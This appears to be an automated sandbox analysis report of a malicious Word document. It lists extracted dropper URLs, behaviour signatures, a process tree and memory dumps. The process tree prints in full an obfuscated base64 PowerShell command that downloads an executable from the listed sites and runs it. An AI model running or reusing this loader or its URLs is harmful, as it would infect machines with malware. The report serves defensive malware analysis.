Analysis
- max time kernel
136s - max time network
126s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
04/05/2024, 17:13
General
- Target 13b3de2f0da081b9f70131b4f0fae2e8_JaffaCakes118.doc
- Size 187KB
- Sample240504-vrge5sfb56
- SHA256 3bdf3e2c9c13de71c7b9c7f2da1b2f46c6116c1673dd099933a1d134dc06551a
Malware Config
Extracted
-
ps1
-
exe.dropper
https://scrappy.upsproutmedia.com/wp-admin/J/
-
exe.dropper
https://china-specialist.com/wp-content/YrLG/
-
exe.dropper
https://www.upsproutmedia.com/wp-admin/M/
-
exe.dropper
http://pagearrow.com/wordpress/B/
-
exe.dropper
http://a.xuezha.cn/lajop/OYdUzf/
-
exe.dropper
http://blog.saadata.com/cgi-bin/vwz/
-
exe.dropper
http://zeeamfashion.com/content/rqoL/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 2 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\13b3de2f0da081b9f70131b4f0fae2e8_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABQAG8AagBqAGoAdgAzAD0AKAAnAFgAJwArACcAawB3ACcAKwAoACcAOAAnACsAJwBiAGoAcgAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBTAEUAcgBwAFIAbwBmAEkATABFAFwARwBlAGsAVwA2ADQATwBcAEIAQgB5AGoAOQBFAFcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAVQByAEkAYABUAHkAUABgAFIAbwB0AG8AYABDAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACcAKwAoACcALAAgAHQAJwArACcAbABzADEAMQAsACAAJwArACcAdAAnACkAKwAnAGwAcwAnACkAOwAkAFAAagB1ADAAdABlAG0AIAA9ACAAKAAnAE4AZwAnACsAJwBxACcAKwAoACcAcQB2AGwAJwArACcAZAB5ACcAKQApADsAJABXAGIAMwBrADgAYQByAD0AKAAoACcARABuAGUAJwArACcANgBkAGUAJwApACsAJwB5ACcAKQA7ACQATABsAF8AYwA1ADkAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBvACcAKwAoACcATgBtAEcAJwArACcAZQBrAHcANgAnACsAJwA0AG8AJwArACcAbwBOACcAKQArACgAJwBtAEIAYgAnACsAJwB5AGoAOQAnACkAKwAoACcAZQAnACsAJwB3AG8ATgAnACkAKwAnAG0AJwApACAALQBjAFIARQBwAGwAYQBDAEUAKABbAEMASABhAFIAXQAxADEAMQArAFsAQwBIAGEAUgBdADcAOAArAFsAQwBIAGEAUgBdADEAMAA5ACkALABbAEMASABhAFIAXQA5ADIAKQArACQAUABqAHUAMAB0AGUAbQArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFgAMQB2AGcAcgBkADMAPQAoACgAJwBDADEAJwArACcAMwB6AGYANgAnACkAKwAnAGsAJwApADsAJABHAHQAbQAxAHUAagB5AD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAGUAVAAuAFcAZQBiAGMAbABJAEUAbgBUADsAJABJAGMAaQBoAGcAdgBpAD0AKAAnAGgAJwArACgAJwB0AHQAJwArACcAcABzADoAJwApACsAJwAvAC8AJwArACcAcwBjACcAKwAoACcAcgAnACsAJwBhAHAAcAB5ACcAKQArACcALgB1ACcAKwAoACcAcAAnACsAJwBzAHAAcgAnACsAJwBvAHUAJwArACcAdABtAGUAZAAnACsAJwBpAGEALgBjAG8AbQAnACsAJwAvAHcAJwApACsAKAAnAHAAJwArACcALQBhACcAKQArACgAJwBkACcAKwAnAG0AaQBuACcAKwAnAC8ASgAvACoAaAAnACkAKwAoACcAdAB0AHAAJwArACcAcwA6ACcAKwAnAC8AJwArACcALwBjAGgAJwArACcAaQBuAGEALQBzACcAKQArACgAJwBwACcAKwAnAGUAYwBpAGEAbABpACcAKwAnAHMAdAAuACcAKwAnAGMAbwBtAC8AdwAnACkAKwAoACcAcAAnACsAJwAtAGMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBlACcAKwAnAG4AdAAvAFkAJwApACsAKAAnAHIATABHACcAKwAnAC8AJwApACsAJwAqACcAKwAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8AJwApACsAKAAnAC8AdwAnACsAJwB3ACcAKQArACgAJwB3AC4AdQAnACsAJwBwACcAKQArACgAJwBzAHAAcgAnACsAJwBvAHUAdAAnACkAKwAnAG0AJwArACcAZQAnACsAJwBkAGkAJwArACgAJwBhACcAKwAnAC4AYwBvAG0ALwAnACsAJwB3AHAAJwApACsAKAAnAC0AYQAnACsAJwBkAG0AJwArACcAaQBuACcAKwAnAC8ATQAvACcAKQArACcAKgAnACsAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAoACcALwAvACcAKwAnAHAAYQBnAGUAJwArACcAYQByACcAKQArACgAJwByACcAKwAnAG8AdwAuACcAKQArACcAYwBvACcAKwAnAG0ALwAnACsAKAAnAHcAJwArACcAbwByAGQAJwApACsAKAAnAHAAcgAnACsAJwBlAHMAcwAvAEIAJwApACsAJwAvACcAKwAoACcAKgBoACcAKwAnAHQAdABwADoALwAvAGEALgAnACsAJwB4AHUAZQB6ACcAKwAnAGgAJwApACsAKAAnAGEAJwArACcALgBjACcAKQArACcAbgAnACsAJwAvACcAKwAoACcAbAAnACsAJwBhAGoAbwBwAC8ATwAnACsAJwBZAGQAJwApACsAKAAnAFUAegBmACcAKwAnAC8AJwApACsAJwAqACcAKwAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AYgAnACsAJwBsACcAKQArACgAJwBvAGcAJwArACcALgBzAGEAYQAnACkAKwAoACcAZAAnACsAJwBhAHQAYQAuAGMAbwBtACcAKwAnAC8AYwAnACkAKwAoACcAZwBpACcAKwAnAC0AYgBpACcAKQArACcAbgAnACsAKAAnAC8AdgAnACsAJwB3ACcAKQArACgAJwB6ACcAKwAnAC8AKgBoACcAKQArACgAJwB0AHQAcAA6AC8ALwAnACsAJwB6AGUAJwArACcAZQBhACcAKQArACgAJwBtAGYAYQBzAGgAaQBvACcAKwAnAG4ALgAnACsAJwBjAG8AbQAvACcAKQArACcAYwAnACsAKAAnAG8AbgAnACsAJwB0ACcAKQArACcAZQBuACcAKwAnAHQAJwArACcALwAnACsAJwByACcAKwAnAHEAJwArACcAbwBMACcAKwAnAC8AJwApAC4AIgBTAHAAbABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAAbQBvAHQAXwBjAGEAPQAoACcARAAnACsAKAAnAGsAJwArACcAOAA4AG0AJwApACsAJwAxAHEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAUgA3AHUAeQB2ADYAOQAgAGkAbgAgACQASQBjAGkAaABnAHYAaQApAHsAdAByAHkAewAkAEcAdABtADEAdQBqAHkALgAiAGQAYABPAHcATgBsAE8AYQBEAEYASQBgAEwAZQAiACgAJABSADcAdQB5AHYANgA5ACwAIAAkAEwAbABfAGMANQA5AGYAKQA7ACQAVQBkAHkAdwB0AHIAcQA9ACgAKAAnAEcAaABpAGgAJwArACcAagAnACkAKwAnADQAJwArACcAcwAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQATABsAF8AYwA1ADkAZgApAC4AIgBsAGUAbgBgAGcAdABoACIAIAAtAGcAZQAgADIANQA4ADUAMAApACAAewAmACgAJwBJAG4AdgBvAGsAZQAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACgAJABMAGwAXwBjADUAOQBmACkAOwAkAFcAagAyADEAZQBuADYAPQAoACcASQBiACcAKwAoACcAaAAnACsAJwBnADcAJwApACsAJwBqAG4AJwApADsAYgByAGUAYQBrADsAJABTADgAYwBnAHoAMwBlAD0AKAAoACcAUQAnACsAJwBrADQANgAnACkAKwAnADUAXwAnACsAJwBtACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQA1AHIAcQAxAG0AeAA9ACgAJwBWACcAKwAnADgAaAAnACsAKAAnAHEAagB2ACcAKwAnAG8AJwApACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
iso690.xsl
__PSScriptPolicyTest_eayqnyjj.c0s.ps1
memory/1064-17-0x00007FFBDA120000-0x00007FFBDA130000-memory.dmp
memory/1064-32-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-2-0x00007FFBDC6F0000-0x00007FFBDC700000-memory.dmp
memory/1064-5-0x00007FFC1C70D000-0x00007FFC1C70E000-memory.dmp
memory/1064-6-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-7-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-8-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-10-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-14-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-15-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-16-0x00007FFBDA120000-0x00007FFBDA130000-memory.dmp
memory/1064-13-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-12-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-11-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-4-0x00007FFBDC6F0000-0x00007FFBDC700000-memory.dmp
memory/1064-1-0x00007FFBDC6F0000-0x00007FFBDC700000-memory.dmp
memory/1064-59-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-33-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-9-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-3-0x00007FFBDC6F0000-0x00007FFBDC700000-memory.dmp
memory/1064-599-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-0-0x00007FFBDC6F0000-0x00007FFBDC700000-memory.dmp
memory/1064-544-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-572-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-573-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-574-0x00007FFC1C670000-0x00007FFC1C865000-memory.dmp
memory/1064-596-0x00007FFBDC6F0000-0x00007FFBDC700000-memory.dmp
memory/1064-597-0x00007FFBDC6F0000-0x00007FFBDC700000-memory.dmp
memory/1064-598-0x00007FFBDC6F0000-0x00007FFBDC700000-memory.dmp
memory/1064-595-0x00007FFBDC6F0000-0x00007FFBDC700000-memory.dmp
memory/4884-83-0x000001D17AD20000-0x000001D17AD42000-memory.dmp